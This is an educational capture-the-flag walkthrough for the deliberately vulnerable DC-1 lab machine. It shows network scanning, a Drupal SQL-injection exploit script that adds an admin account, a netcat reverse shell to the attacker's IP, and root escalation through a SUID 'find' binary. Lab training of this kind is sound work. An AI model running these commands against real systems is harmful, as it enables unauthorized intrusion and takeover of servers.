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Lab - Capture the Flag Walkthrough – DC-1 

 

Overview 

 

In this lab, you will be shown how to gain root access to a virtual machine designed as a 

Capture the Flag (CTF) exercise. The credit for making this VM machine goes to “DCAU,” 

and it is another boot2root challenge in which the goal is to get root access to complete the 

challenge. 

 

These walk-throughs are designed so students can learn by emulating the technical guidelines 

used in conducting an actual real-world pentest using as few automated tools as possible.  

 

For this machine, I used Oracle Virtual Box to run the target machine. Kali Linux is the 

attacker machine for solving this CTF. 

 

The DC-1 OVA file can be downloaded here. 

 

CTF Description 

 

Difficulty: Easy 

 

Flags: We will be focusing on the root flag. 

 

• DHCP: Enabled 

• IP Address: Automatically assigned 

 

Footprinting  

 

My Kali has an IP address of 192.168.0.30. Any addresses shown in the lab apply my lab 

environment, yours will probably differ. 

 

 

We begin by scanning the network to find our target. 

 

Command used: netdiscover -i eth0 
 

The -i tells netdiscover to use an interface, and eth0 is the name of that interface. 

 

https://www.vulnhub.com/entry/dc-1-1,292/#download
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My target has an IP address of 192.168.0.119. We next need to find out what ports and services 

are available. For this purpose, we can do a full Nmap port scan. 

 

Command used: clearnmap 192.168.0.119 -v -Pn -p- 

 

Our Nmap scan returns the following results showing the target has four open ports.  

 

 
 

The NMAP output shows us that there are four ports open: 22(SSH), 80(HTTP), 111(RPC), 

and something using port 42075. 

 

Enumerate, Enumerate, Enumerate! 

 

Let’s begin by looking at what is available for port 80.  

 

We open a browser, and in the address bar, we only need to type in the IP address of the target 

(192.168.0.119) and are given the login page for a Drupal CMS website. Drupal is a very 

popular Client Management System (CMS) and very vulnerable. 



3 

 

 

 
 

We can check what web technologies are running on the target by using the ‘whatweb’ tool. 

We can see by the results that Drupal is version 7.  

 

Command used: whatweb 192.168.0.119 

 

 
 

We’ll come back to this in a minute but let’s first examine some more low hanging fruit. The 

robots.txt file can be a plethora (a lot) of information about the back-end of the website 

structure. Do not overlook it! 

 

Bring back up your web browser and append /robots.txt to the front of the targets IP address 

and hit enter.  

Command used: 192.168.0.119/robots.txt 
 

When looking at a Drupal, we need to look at the CHANGELOG.txt file. This file contains 

information about the current version of Drupal. As a security precaution, it could be deleted or 

renamed as was the case. No joy here! 
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Using the offline version of the exploit-db.com exploit database available in Kali, we can 

use searchsploit to see what exploits are available for Drupal 7.  

 

 
 

In the previous lab, Lampiao, we used the “drupalgeddon2” exploit available with Metasploit, 

but that would not be an option for the OSCP examine. For the changeup and to keep better in 

line with OSCP exam, we’ll use a Python script that will exploit and use SQLi (SQL Injection) 

to add a new admin account to the Drupal website.  

 

Exploit  

 

The syntax…. 
 

python /usr/share/exploitdb/exploits/php/webapps/34992.py -u 

syberoffense -p Password123! -t http://192.168.0.119 

 

Look carefully at the syntax. We start off using the python command to execute the script 

followed by the path where the script is located in Kali followed by the name of the script. The 
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script will use SQLi (SQL injection) to create a new admin account with the username (-u) of 

syberoffense with a password (-p) of Password123! Lastly, we use the -t to tell the script the IP 

address of the target. 

 

The exploit succeeded and added the user as follows: 

 

 
 

We can use the credentials to log in as administrator where we can add a new module which 

will allow us to get a shell on the back-end server.  

 

 

 

 

 

 

 

 

Gain Access 
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From the taskbar, select to add modules. Select the option to install a new module.  

 

 
 

 

 

The path for the module is located at https://www.drupal.org/project/shell 

Scroll to the bottom of the page and find the available downloads. Right-click on the zip 

version for the 7.x-1.0-beta5 and from the context menu, select copy link location.  

 

Return to module page. Right-click inside the window to install from a URL and paste the link 

for the download. 

 
https://ftp.drupal.org/files/projects/shell-7.x-1.0-beta5.zip 

 

 I installed and enabled version 7.x-1.0-beta5 of this module as follows: 

https://www.drupal.org/project/shell
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Once the module is installed, select to enable the newly added module. 

 

 
 

 

On the module page, scroll down until you come to, other. Check the box to enable the shell 

module and at the bottom of the page, click the Save Configuration option.  

 

 
 

The link for the shell can be found on the Navigation page. I found the navigation page by 

going to the dashboard (taskbar) and using the search function; I typed in navigation.  
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On the next navigation page, you will find a link for the shell. 

 

 
On your Kali machine open a netcat listener.  

 

 
 

Command used: nc -lvp 4444 

 

Back at the Drupal shell at the bottom of the shell page, type the following but with you kali’s 

IP address, not mine.  

 

 
 

Command used: nc -nv 192.168.0.30 4444 -e /bin/bash 

 

Watch your Kali terminal. We have a connection! 
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Get Root Access  

 

We can now use our favorite bit of python code to get a bash shell.  

 

Command used: python -c 'import pty; pty.spawn("/bin/bash")' 

 

 
 

We next need to find any binaries that have SUID, which is a Linux feature which allows the 

user to execute files with permissions of a specific user. We use the ‘find’ command for this.  

 

Command used: find / -perm /4000 
 

From the results, we see the ‘find’ command has the SUID option and is owned by root user. 

Lastly, the “find” command” has “-exec” option, which can be used to run commands. 
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Let’s get a shell with root privileges! 

 

Command used: find . -exec '/bin/sh' \; 

 

 
 

We have the shell, and we have root privileges, so we should be able to read the flag located in 

the home directory (root). Let’s check ourselves, change location over to the root directory, list 

the contents, and get the flag.  
 

 
Congratulations! This was an interesting CTF. We could have brought Metasploit into the mix, 

but that’s not always going to be an option, especially for those preparing for the OSCP exam.  
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The biggest take away with these CTF exercises is to learn to manually enumerate (discover) 

the target as much as possible. Keep enumerating until you can’t enumerate anymore.  

 

In this CTF, we used the following methodology: 

 

• IP Discovery using netdiscover 

• Network scanning (Nmap) 

• Surfing HTTPS service port (80) 

• Finding Drupal CMS 

• Exploiting Drupal to get a reverse shell 

• Finding files with SUID bit set 

• Finding the “find” command with SUID bit set 

• Getting root shell with “find” command 

• Getting final flag 

 

Regards – 

 

Prof. K 

 

 

 

 


